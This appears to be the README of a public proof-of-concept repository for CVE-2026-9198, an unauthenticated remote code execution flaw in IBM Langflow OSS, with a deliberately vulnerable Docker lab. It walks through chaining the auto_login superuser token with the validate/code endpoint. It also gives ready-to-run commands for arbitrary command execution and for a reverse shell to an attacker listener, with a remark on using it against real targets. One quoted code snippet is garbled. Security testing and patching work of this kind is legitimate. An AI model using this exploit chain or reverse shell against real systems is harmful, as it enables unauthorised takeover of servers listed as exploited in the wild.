## https://sploitus.com/exploit?id=26844A9C-149B-5A82-953F-05C2CCD4F3B7
# CVE-2026-9198 β IBM Langflow OSS Unauthenticated RCE
Proof-of-concept exploit and a self-contained Docker lab for **CVE-2026-9198**, an
unauthenticated remote code execution vulnerability in **IBM Langflow OSS**.
The exploit chains two endpoints β `auto_login` (which hands out a SUPERUSER token
to anyone) and `validate/code` (which runs attacker-supplied Python) β to get code
execution as the Langflow service user, with **no credentials required**.
> [!WARNING]
> **For authorized security testing and education only.** Run this exclusively
> against systems you own or have explicit written permission to test. The Docker
> lab in this repo is *deliberately vulnerable* β keep it on your machine and never
> expose it to the internet. You are responsible for how you use this code.
## The vulnerability
| | |
|---|---|
| **CVE** | CVE-2026-9198 |
| **Product** | IBM Langflow OSS |
| **Affected** | 1.0.0 β 1.10.0 |
| **Fixed in** | 1.10.1 |
| **CVSS 3.1** | 9.8 Critical β `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-94 β Improper Control of Generation of Code ('Code Injection') |
| **CISA KEV** | Yes β known exploited in the wild |
## How it works
The exploit is a two-step chain that needs no authentication:
### 1. Get a SUPERUSER token β `GET /api/v1/auto_login`
Langflow ships with `LANGFLOW_AUTO_LOGIN` enabled by default. When it is, the
`auto_login` endpoint issues a long-lived **SUPERUSER** JWT to *any* caller, no
credentials asked:
```json
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
```
### 2. Execute code β `POST /api/v1/validate/code`
Since 1.3.0 this endpoint requires authentication (that was the fix for
CVE-2025-3248) β but step 1 just handed us a valid SUPERUSER token, so the gate is
useless. Internally the endpoint calls `validate_code()`, which compiles and runs
every function definition it receives:
```python
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "", "exec")
try:
exec(code_obj) # ) ...; raise Exception()')):
pass
```
## Contents
```
.
βββ exploit.py # the PoC (command execution + reverse shell)
βββ docker-compose.yml # vulnerable lab: langflow 1.10.0 + postgres
βββ requirements.txt # requests
βββ README.md
```
## Requirements
- Docker + Docker Compose (for the lab)
- Python 3.8+ and `requests` (`pip install -r requirements.txt`)
## Run the lab
```bash
docker compose up -d
```
Langflow takes a minute or two to become ready on first boot. Wait until it answers:
```bash
curl -fs http://127.0.0.1:9999/health && echo OK
```
The service is bound to `127.0.0.1:9999` on purpose β it is not reachable from your
network.
## Run the exploit
Install the dependency, then point the exploit at the lab.
```bash
pip install -r requirements.txt
```
### Command execution
```bash
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
```
Example output:
```
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
```
Any command works: `--cmd "uname -a && whoami && cat /etc/os-release"`.
### Reverse shell
Start a listener:
```bash
nc -lvnp 4444
```
Then fire the payload. When the target runs in Docker on the same machine, the
container reaches your host at `host.docker.internal` (Docker Desktop); on a real
target use your routable IP:
```bash
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
```
You get an interactive `/bin/sh` on your listener as the `langflow` user.
### Options
| Flag | Description |
|---|---|
| `--url` | Target base URL (required) |
| `--cmd` | Command to run (default `id`) |
| `--reverse-shell` | Deliver a reverse shell instead of running `--cmd` |
| `--lhost` / `--lport` | Reverse-shell callback host and port |
| `--token` | Use a supplied bearer token and skip `auto_login` |
| `--timeout` | Per-request timeout, seconds (default 15) |
| `--insecure` | Skip TLS verification (for `https` targets) |
## Mitigation
- **Upgrade to Langflow β₯ 1.10.1.**
- Disable auto-login in anything network-reachable: `LANGFLOW_AUTO_LOGIN=false`,
and set real superuser credentials.
- Never expose Langflow directly to the internet; put it behind authentication and
network controls.
## References
- [NVD β CVE-2026-9198](https://nvd.nist.gov/vuln/detail/CVE-2026-9198)
- [IBM Security Bulletin](https://www.ibm.com/support/pages/node/7278927)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Related predecessor: [CVE-2025-3248](https://nvd.nist.gov/vuln/detail/CVE-2025-3248) (the `validate/code` code-injection this builds on)